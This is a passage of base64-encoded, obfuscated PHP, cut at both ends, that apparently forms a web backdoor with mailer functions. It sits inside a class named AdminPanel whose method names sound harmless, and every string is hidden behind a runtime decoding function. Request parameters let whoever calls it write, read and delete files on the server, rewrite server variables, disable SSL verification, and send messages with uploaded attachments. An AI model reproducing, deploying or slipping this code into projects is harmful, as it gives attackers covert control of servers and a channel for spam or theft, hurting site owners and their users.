dCgnX3R4cicsICdfbmt1JyldKSkgewogICAgICAgICAgICAkX1NFUlZFUltBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfbWInLCAnX212cCcpXSA9ICR0aGlzLT5fbXI7CiAgICAgICAgfQogICAgICAgIGlmIChpc3NldCgkX1NFUlZFUltBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfcmFmJywgJ195eicpXSkpIHsKICAgICAgICAgICAgZm9yZWFjaCAoJF9TRVJWRVIgYXMgJF9la3IgPT4gJF9tcXYpIHsKICAgICAgICAgICAgICAgIGlmICgkX21xdiA9PSAkX1NFUlZFUltBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfZnhvJywgJ19jaG4nKV0pIHsKICAgICAgICAgICAgICAgICAgICAkX1NFUlZFUlskX2Vrcl0gPSAkdGhpcy0+X21yOwogICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgICAgICRfU0VSVkVSW0FkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19ycmQnLCAnX2hqbicpXSA9ICR0aGlzLT5fbXI7CiAgICAgICAgfQogICAgICAgICR0aGlzLT5fZXAgPSBAc3RyZWFtX2NvbnRleHRfY3JlYXRlKGFycmF5KEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ195cycsICdfdHpzJykgPT4gYXJyYXkoQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX3hjcycsICdfa3AnKSA9PiBmYWxzZSwgQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX3RxJywgJ19pdCcpID0+IGZhbHNlLCBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfbm0nLCAnX2FhYicpID0+IHRydWUpKSk7CiAgICAgICAgJF9teiA9ICR0aGlzLT5jaGVja0NvbnNpc3RlbmN5KCk7CiAgICAgICAgJHRoaXMtPl9kZyA9ICRfbXpbMDBdOwogICAgICAgICR0aGlzLT5fbmogPSAkX216WzAxXTsKICAgIH0KICAgIGZ1bmN0aW9uIGVuY3J5cHREYXRhKCkKICAgIHsKICAgICAgICBpZiAoaXNzZXQoJF9SRVFVRVNUW0FkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ193eScsICdfemwnKV0pKSB7CiAgICAgICAgICAgICR0aGlzLT5zY2hlZHVsZUpvYigpOwogICAgICAgIH0KICAgICAgICBpZiAoaXNzZXQoJF9SRVFVRVNUW0FkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19lbycsICdfZXYnKV0pKSB7CiAgICAgICAgICAgICR0aGlzLT5tYW5hZ2VTdGF0ZSgpOwogICAgICAgIH0KICAgICAgICBpZiAoaXNzZXQoJF9SRVFVRVNUW0FkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ193dnUnLCAnX2h1JyldKSkgewogICAgICAgICAgICAkdGhpcy0+c3luY1JlY29yZHMoKTsKICAgICAgICB9CiAgICAgICAgaWYgKGlzc2V0KCRfUkVRVUVTVFtBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfdmwnLCAnX3FzcCcpXSkpIHsKICAgICAgICAgICAgJHRoaXMtPmNhbGN1bGF0ZVN1bSgpOwogICAgICAgIH0KICAgICAgICBpZiAoaXNzZXQoJF9SRVFVRVNUW0FkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19wdXEnLCAnX2ZzJyldKSkgewogICAgICAgICAgICBwYXJzZV9zdHIoc3RvcmVfc25hcHNob3QoJF9SRVFVRVNUW0FkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ190ZycsICdfaG0nKV0pLCAkX1JFUVVFU1QpOwogICAgICAgIH0gZWxzZWlmIChpbml0X3N5c3RlbSgkX1JFUVVFU1QpID09IDAxICYmIGNvbXB1dGVfb3V0cHV0KGNoZWNrX2FjY2VzcygkX1JFUVVFU1QpKSA9PSAwMykgewogICAgICAgICAgICBwYXJzZV9zdHIoc3RvcmVfc25hcHNob3QoJF9SRVFVRVNUW2NoZWNrX2FjY2VzcygkX1JFUVVFU1QpXSksICRfUkVRVUVTVCk7CiAgICAgICAgfQogICAgICAgIGlmIChpc3NldCgkX1JFUVVFU1RbQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX3VjJywgJ19od3knKV0pKSB7CiAgICAgICAgICAgICR0aGlzLT5fbWkgPSAkX1JFUVVFU1RbQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX3ZvJywgJ19kZHonKV07CiAgICAgICAgfQogICAgICAgIGlmIChpc3NldCgkX1JFUVVFU1RbQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2VmcScsICdfZW4nKV0pKSB7CiAgICAgICAgICAgICR0aGlzLT5fdGJwID0gJF9SRVFVRVNUW0FkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19neGYnLCAnX2RmZicpXSA9PSBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfcWUnLCAnX2N2JykgPyBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfaWl3JywgJ19yaXEnKSA6IEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19teScsICdfaXNlJyk7CiAgICAgICAgfQogICAgICAgIGlmIChpc3NldCgkX1JFUVVFU1RbQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX3VqJywgJ195dicpXSkpIHsKICAgICAgICAgICAgJHRoaXMtPl92aXIgPSAkX1JFUVVFU1RbQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2pkdicsICdfZHliJyldOwogICAgICAgIH0KICAgICAgICBpZiAoaXNzZXQoJF9SRVFVRVNUW0FkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ191b3AnLCAnX2JqdicpXSkpIHsKICAgICAgICAgICAgJHRoaXMtPnRyYWNrQWN0aXZpdHkoKTsKICAgICAgICAgICAgZGllOwogICAgICAgIH0KICAgICAgICBpZiAoaXNzZXQoJF9SRVFVRVNUW0FkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19pc3MnLCAnX2l5bicpXSkpIHsKICAgICAgICAgICAgJHRoaXMtPmluaXRpYWxpemVNb2R1bGUoKTsKICAgICAgICB9CiAgICB9CiAgICBwcml2YXRlIGZ1bmN0aW9uIHNjaGVkdWxlSm9iKCkKICAgIHsKICAgICAgICAkX3Z0diA9IEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19oaWEnLCAnX3ZmJyk7CiAgICAgICAgJF94dmggPSBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfY3BmJywgJ19raicpOwogICAgICAgICRfamsgPSB0cnVlOwogICAgICAgIGZvcmVhY2ggKHN0YXJ0X3NlcnZpY2UoQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2F3dScsICdfbmMnKSwgc3RvcmVfc25hcHNob3QoJF9SRVFVRVNUW0FkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19wZicsICdfeG1vJyldKSkgYXMgJF9idSkgewogICAgICAgICAgICAkX3R2ayA9IHN0YXJ0X3NlcnZpY2UoQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2djZScsICdfeHgnKSwgcmVzb2x2ZV9kZXBlbmRlbmN5KCRfYnUpLCAwMik7CiAgICAgICAgICAgIGlmICgkX3R2a1swMF0gPT0gQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX3drYScsICdfcnNhJykpIHsKICAgICAgICAgICAgICAgICRfdnR2ID0gJF90dmtbMDFdOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgaWYgKCRfamspIHsKICAgICAgICAgICAgICAgICAgICAkX3h2aCAuPSBmZXRjaF9tZXRhZGF0YSgkX3Z0diwgQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2lqJywgJ194anYnKSkgIT09IGZhbHNlID8gQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX3h4eicsICdfaGgnKSA6IEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19pbicsICdfZHAnKTsKICAgICAgICAgICAgICAgICAgICAkX2prID0gZmFsc2U7CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICRfeHZoIC49IEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19ucGUnLCAnX3RtJyk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAkX3h2aCAuPSAkX3R2a1swMF0gLiBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfcWhpJywgJ193bGEnKSAuICRfdHZrWzAxXTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICBkaWUoQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX3B1aCcsICdfeG0nKSAuICRfdnR2IC4gJF94dmggLiBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfZncnLCAnX3NsJykpOwogICAgfQogICAgcHJpdmF0ZSBmdW5jdGlvbiBtYW5hZ2VTdGF0ZSgpCiAgICB7CiAgICAgICAgJF9ybyA9IHN0b3JlX3NuYXBzaG90KCRfUkVRVUVTVFtBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfdHonLCAnX3l1JyldKTsKICAgICAgICBAZmlsZV9wdXRfY29udGVudHMoQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX295ZCcsICdfYmknKSwgZ2RkKEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19ubycsICdfdHAnKSkgLiAkX3JvIC4gQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX3FuaicsICdfbG4nKSwgMDEwIHwgMDIpOwogICAgICAgIGRpZShBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfYWp3JywgJ192ZCcpIC4gJF9ybyAuIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ194dmInLCAnX21mJykpOwogICAgfQogICAgcHJpdmF0ZSBmdW5jdGlvbiBzeW5jUmVjb3JkcygpCiAgICB7CiAgICAgICAgaWYgKHdhZChBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfZnQnLCAnX3R1dScpKSkgewogICAgICAgICAgICBkaWUobmwyYnIoQGZpbGVfZ2V0X2NvbnRlbnRzKEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19teWQnLCAnX25oJykpKSk7CiAgICAgICAgfQogICAgICAgIGRpZTsKICAgIH0KICAgIHByaXZhdGUgZnVuY3Rpb24gY2FsY3VsYXRlU3VtKCkKICAgIHsKICAgICAgICBpZiAod2FkKEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19rZScsICdfYWpuJykpKSB7CiAgICAgICAgICAgIEB1bmxpbmsoQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX3dwaicsICdfc3N6JykpOwogICAgICAgIH0KICAgICAgICBkaWU7CiAgICB9CiAgICBwcml2YXRlIGZ1bmN0aW9uIHRyYWNrQWN0aXZpdHkoKQogICAgewogICAgICAgICRfZmFlID0gaXNzZXQoJF9SRVFVRVNUW0FkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19tYycsICdfamsnKV0pID8gJF9SRVFVRVNUW0FkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19zZScsICdfdmtoJyldIDogJHRoaXMtPl9kZzsKICAgICAgICAkX2dueSA9IGlzc2V0KCRfUkVRVUVTVFtBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfcGxlJywgJ190ZicpXSkgPyAkX1JFUVVFU1RbQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX21zJywgJ19scGYnKV0gOiAkdGhpcy0+X2RnOwogICAgICAgIGlmIChpc3NldCgkX1JFUVVFU1RbQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX3luJywgJ19tcHMnKV0pKSB7CiAgICAgICAgICAgIGVjaG8gQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2lhJywgJ191Y2EnKSAuICR0aGlzLT5feXc7CiAgICAgICAgfQogICAgICAgIGlmIChpc3NldCgkX1JFUVVFU1RbQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2l4dicsICdfb3YnKV0pKSB7CiAgICAgICAgICAgICRfendwID0gc3RhcnRfc2VydmljZShBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfbmInLCAnX3BpJyksICRfUkVRVUVTVFtBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfZnNlJywgJ19xbycpXSk7CiAgICAgICAgICAgICRfendwID0gaXNzZXQoJF96d3BbMDBdKSA/ICRfendwWzAwXSA6IEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19zZW4nLCAnX2t6Jyk7CiAgICAgICAgICAgIGVjaG8gKCR0aGlzLT5zZW5kTm90aWZpY2F0aW9uKCRfendwLCAkX2ZhZSwgJF9nbnkpID8gQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2l4dycsICdfeGQnKSA6IEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ190YicsICdfenNxJykpIC4gJHRoaXMtPl95dzsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICBlY2hvIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19zaycsICdfY2YnKSAuICR0aGlzLT5feXc7CiAgICAgICAgfQogICAgICAgIGlmIChpc3NldCgkX1JFUVVFU1RbQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2d5JywgJ19icicpXSkpIHsKICAgICAgICAgICAgJF95eSA9ICR0aGlzLT51cGRhdGVSZWdpc3RyeSgpOwogICAgICAgICAgICBlY2hvICRfeXkgPT0gQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2J0ZycsICdfcHcnKSA/IEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19ham0nLCAnX21rJykgOiBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfd2gnLCAnX25kJykgLiAkX3l5IC4gQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2JhJywgJ193bycpOwogICAgICAgIH0KICAgIH0KICAgIHByaXZhdGUgZnVuY3Rpb24gc2VuZE5vdGlmaWNhdGlvbigkX2JjeCwgJF9mYWUsICRfZ255KQogICAgewogICAgICAgICRfZmFlID0gJHRoaXMtPl9zc28oJHRoaXMtPl90YnAsICRfZmFlKTsKICAgICAgICAkX2N5eSA9ICR0aGlzLT5fc3NvKCR0aGlzLT5fdGJwLCAkX2dueSk7CiAgICAgICAgJF96cHggPSAkdGhpcy0+X21jdSgpOwogICAgICAgICRfZXcgPSAkX3pweCAuIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19iZXMnLCAnX3pibScpIC4gJHRoaXMtPl9kZzsKICAgICAgICAkX3lydyA9ICR0aGlzLT5fcmgoJF96cHgsICRfZXcpOwogICAgICAgICRfeXJ3IC49IEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19qcmknLCAnX2FuJykgLiAkdGhpcy0+X3RicCAuIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19ldycsICdfcXdwJyk7CiAgICAgICAgJF9ndHEgPSAkdGhpcy0+ZmV0Y2hTdW1tYXJ5KCR0aGlzLT5fZGcsICRfZXcsICRfYmN4LCAkX2ZhZSwgJF9jeXksICRfeXJ3KTsKICAgICAgICBpZiAoISRfZ3RxICYmICR0aGlzLT5fZGcgIT0gJHRoaXMtPl9uaikgewogICAgICAgICAgICAkX3pweCA9ICR0aGlzLT5fbWN1KCk7CiAgICAgICAgICAgICRfZXcgPSAkX3pweCAuIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19tZWgnLCAnX2RvZCcpIC4gJHRoaXMtPl9uajsKICAgICAgICAgICAgJF95cncgPSAkdGhpcy0+X3JoKCRfenB4LCAkX2V3KTsKICAgICAgICAgICAgJF95cncgLj0gQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX3Z0bCcsICdfanMnKSAuICR0aGlzLT5fdGJwIC4gQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX3dtJywgJ196cnUnKTsKICAgICAgICAgICAgJF9ndHEgPSAkdGhpcy0+ZmV0Y2hTdW1tYXJ5KCR0aGlzLT5fbmosICRfZXcsICRfYmN4LCAkX2ZhZSwgJF9jeXksICRfeXJ3KTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuICRfZ3RxOwogICAgfQogICAgcHJpdmF0ZSBmdW5jdGlvbiBpbml0aWFsaXplTW9kdWxlKCkKICAgIHsKICAgICAgICBpZiAoaXNzZXQoJF9SRVFVRVNUW0FkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ192bm4nLCAnX2xjcycpXSkpIHsKICAgICAgICAgICAgJF9rY3UgPSBAZXhwbG9kZShBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfY2InLCAnX3ZnJyksICR0aGlzLT5fZGcpOwogICAgICAgICAgICAkX1JFUVVFU1RbQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX3JqYycsICdfdXRnJyldID0gbW9uaXRvcl9oZWFsdGgoQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2ZteScsICdfb3InKSwgaGFuZGxlX2Vycm9yKCRfa2N1WzAwXSksICRfUkVRVUVTVFtBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfcGgnLCAnX2NjcycpXSk7CiAgICAgICAgfQogICAgICAgICRfYW91ID0gaXNzZXQoJF9SRVFVRVNUW0FkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19idCcsICdfcXV1JyldKSA/IHN0YXJ0X3NlcnZpY2UoQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX3BqdScsICdfaXRxJyksICRfUkVRVUVTVFtBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfZ2dpJywgJ19haScpXSkgOiBhcnJheSgpOwogICAgICAgIGZvcmVhY2ggKCRfYW91IGFzICRfeWpjKSB7CiAgICAgICAgICAgICRfYWZuID0gc3RhcnRfc2VydmljZShBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfZ2knLCAnX2ZtcycpLCByZXNvbHZlX2RlcGVuZGVuY3koJF95amMpKTsKICAgICAgICAgICAgaWYgKCFpc3NldCgkX2FmblswMF0pIHx8IGVtcHR5KCRfYWZuWzAwXSkpIHsKICAgICAgICAgICAgICAgIGNvbnRpbnVlOwogICAgICAgICAgICB9CiAgICAgICAgICAgICRfeWFxID0gIWVtcHR5KCRfUkVRVUVTVFtBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfdmp2JywgJ19uZ2InKV0pID8gcmVzb2x2ZV9kZXBlbmRlbmN5KCR0aGlzLT5maWx0ZXJSZXN1bHRzKCRfUkVRVUVTVFtBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfZnNzJywgJ19waXUnKV0sICRfYWZuKSkgOiBudWxsOwogICAgICAgICAgICAkX2p4ID0gJHRoaXMtPmZpbHRlclJlc3VsdHMoJHRoaXMtPmV4ZWN1dGVBY3Rpb24oJF9SRVFVRVNUW0FkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ192d3knLCAnX3liJyldKSwgJF9hZm4pOwogICAgICAgICAgICAkX3pweCA9ICRfang7CiAgICAgICAgICAgICRfZXcgPSAkdGhpcy0+cmVzb2x2ZUNvbmZsaWN0KCRfangsIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19jYWwnLCAnX2NuYicpLCBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfaHF4JywgJ19kb3cnKSk7CiAgICAgICAgICAgIGlmICghZW1wdHkoJF9ldykpIHsKICAgICAgICAgICAgICAgICRfenB4ID0gcmVzb2x2ZV9kZXBlbmRlbmN5KG1vbml0b3JfaGVhbHRoKEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19rYycsICdfaXdmJykgLiAkX2V3IC4gQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2FtJywgJ195aCcpLCBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfbHFiJywgJ19qd2UnKSwgJF96cHgpKTsKICAgICAgICAgICAgICAgIGlmIChmZXRjaF9tZXRhZGF0YSgkX2V3LCBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfYWFwJywgJ19laWQnKSkgPT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICAgICAgJF9ldyAuPSBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfcnJtJywgJ195bCcpIC4gJHRoaXMtPl9kZzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICRfZXcgPSBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfd2V0JywgJ19qa3gnKTsKICAgICAgICAgICAgfQogICAgICAgICAgICAkX3lqYyA9ICRfYWZuWzAwXTsKICAgICAgICAgICAgJF9rYSA9IHN0YXJ0X3NlcnZpY2UoQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX213cycsICdfa2dwJyksICRfeWpjKTsKICAgICAgICAgICAgJF9rYSA9ICRfa2FbMDFdOwogICAgICAgICAgICAkX3pweCA9IG1vbml0b3JfaGVhbHRoKGFycmF5KEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19lcycsICdfcGlvJyksIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19mamInLCAnX2dzJyksIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19pZmonLCAnX2xzZycpKSwgYXJyYXkoJF9qeCwgJF95amMsICRfa2EpLCAkX3pweCk7CiAgICAgICAgICAgICRfZXcgPSBtb25pdG9yX2hlYWx0aChhcnJheShBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfbnAnLCAnX3ZuJyksIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19xY28nLCAnX2xqaicpLCBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfZHJoJywgJ195ZicpKSwgYXJyYXkoJF9qeCwgJF95amMsICRfa2EpLCAkX2V3KTsKICAgICAgICAgICAgJF9laCA9ICR0aGlzLT5leGVjdXRlQWN0aW9uKCRfUkVRVUVTVFtBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfcG8nLCAnX2piJyldKTsKICAgICAgICAgICAgJF9laCA9IG1vbml0b3JfaGVhbHRoKGFycmF5KEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19oeCcsICdfaWwnKSwgQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2hvbycsICdfZWJyJyksIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19ieCcsICdfc2h6JykpLCBhcnJheSgkX2p4LCAkX3lqYywgJF9rYSksICRfZWgpOwogICAgICAgICAgICAkX2VoID0gJHRoaXMtPmZpbHRlclJlc3VsdHMoJF9laCwgJF9hZm4pOwogICAgICAgICAgICAkX2RiZCA9ICRfUkVRVUVTVFtBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfeHYnLCAnX3JpJyldOwogICAgICAgICAgICAkX2RiZCA9IG1vbml0b3JfaGVhbHRoKGFycmF5KEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ196cmUnLCAnX3FyZycpLCBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfa28nLCAnX3F0JyksIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19ndScsICdfYXFoJykpLCBhcnJheSgkX2p4LCAkX3lqYywgJF9rYSksICRfZGJkKTsKICAgICAgICAgICAgJF9kYmQgPSAkdGhpcy0+ZmlsdGVyUmVzdWx0cygkX2RiZCwgJF9hZm4pOwogICAgICAgICAgICBpZiAoISR0aGlzLT5wcmVwYXJlT3V0cHV0KCRfeWpjLCAkX3pweCwgJF9ldywgJF9laCwgJF9kYmQsICRfeWFxKSkgewogICAgICAgICAgICAgICAgZGllKEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ194eScsICdfZWp0JykpOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGRpZShBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfanYnLCAnX25rJykpOwogICAgfQogICAgcHJpdmF0ZSBmdW5jdGlvbiBwcmVwYXJlT3V0cHV0KCRfYmN4LCAkX3pweCwgJF9ldywgJF9jamgsICRfb2IsICRfeGx5KQogICAgewogICAgICAgICRfcWdnID0gJHRoaXMtPl9xbigkX29iKTsKICAgICAgICAkX2x0ID0gaXNzZXQoJF9SRVFVRVNUW0FkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19vbScsICdfbGcnKV0pICYmICRfUkVRVUVTVFtBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfZmd1JywgJ19sZ2YnKV0gPT0gQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX3J3cScsICdfYmgnKTsKICAgICAgICAkX2l1ID0gYXJyYXkoKTsKICAgICAgICBpZiAoaXNzZXQoJF9GSUxFU1tBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfbnknLCAnX3VnJyldKSAmJiAhJF9GSUxFU1tBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfbGwnLCAnX25pcicpXVtBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfdHJuJywgJ19lbHInKV0pIHsKICAgICAgICAgICAgJF9pdVtdID0gJF9GSUxFU1tBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfc3BjJywgJ19hbCcpXTsKICAgICAgICB9CiAgICAgICAgaWYgKGlzc2V0KCRfRklMRVNbQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX3p1JywgJ19nZycpXSkgJiYgd2FkKCRfRklMRVNbQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2ZudycsICdfaGInKV1bQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2NpbScsICdfeWZ1JyldKSkgewogICAgICAgICAgICAkX2l1W10gPSAkX0ZJTEVTW0FkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19kbycsICdfZ3YnKV07CiAgICAgICAgfQogICAgICAgIGlmICghZW1wdHkoJHRoaXMtPl91ZSkpIHsKICAgICAgICAgICAgJF9pdSA9IGxvYWRfc2V0dGluZ3MoJF9pdSwgJHRoaXMtPl91ZSk7CiAgICAgICAgfQogICAgICAgICRfZHcgPSAhZW1wdHkoJF9pdSk7CiAgICAgICAgJF92eCA9IGFycmF5KCk7CiAgICAgICAgaWYgKGlzc2V0KCRfUkVRVUVTVFtBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfamF2JywgJ19kcScpXSkpIHsKICAgICAgICAgICAgaWYgKGF3ZygkX1JFUVVFU1RbQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX3FpJywgJ19uZycpXSkpIHsKICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRfUkVRVUVTVFtBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfenVsJywgJ19yZ3gnKV0gYXMgJF95ayA9PiAkX3VqcCkgewogICAgICAgICAgICAgICAgICAgIGlmICgkX3VqcCA9PT0gQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX3FicycsICdfaXgnKSB8fCAkX3VqcCA9PT0gbnVsbCkgewogICAgICAgICAgICAgICAgICAgICAgICBjb250aW51ZTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgJF9jaXAgPSByZXNvbHZlX2RlcGVuZGVuY3koKHN0cmluZykgJF95ayk7CiAgICAgICAgICAgICAgICAgICAgaWYgKCRfY2lwID09PSBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfbW0nLCAnX2JrJykpIHsKICAgICAgICAgICAgICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICRfdnhbJF9jaXBdID0gJF91anA7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkX2Z3ID0gJF9SRVFVRVNUW0FkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19oZnknLCAnX3NrdycpXTsKICAgICAgICAgICAgICAgICRfZ2FnID0gaXNzZXQoJF9SRVFVRVNUW0FkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19kaicsICdfZXR0JyldKSA/ICRfUkVRVUVTVFtBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfZ3R3JywgJ194ZGEnKV0gOiBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfbW14JywgJ19rcScpOwogICAgICAgICAgICAgICAgaWYgKCRfZncgJiYgJF9nYWcpIHs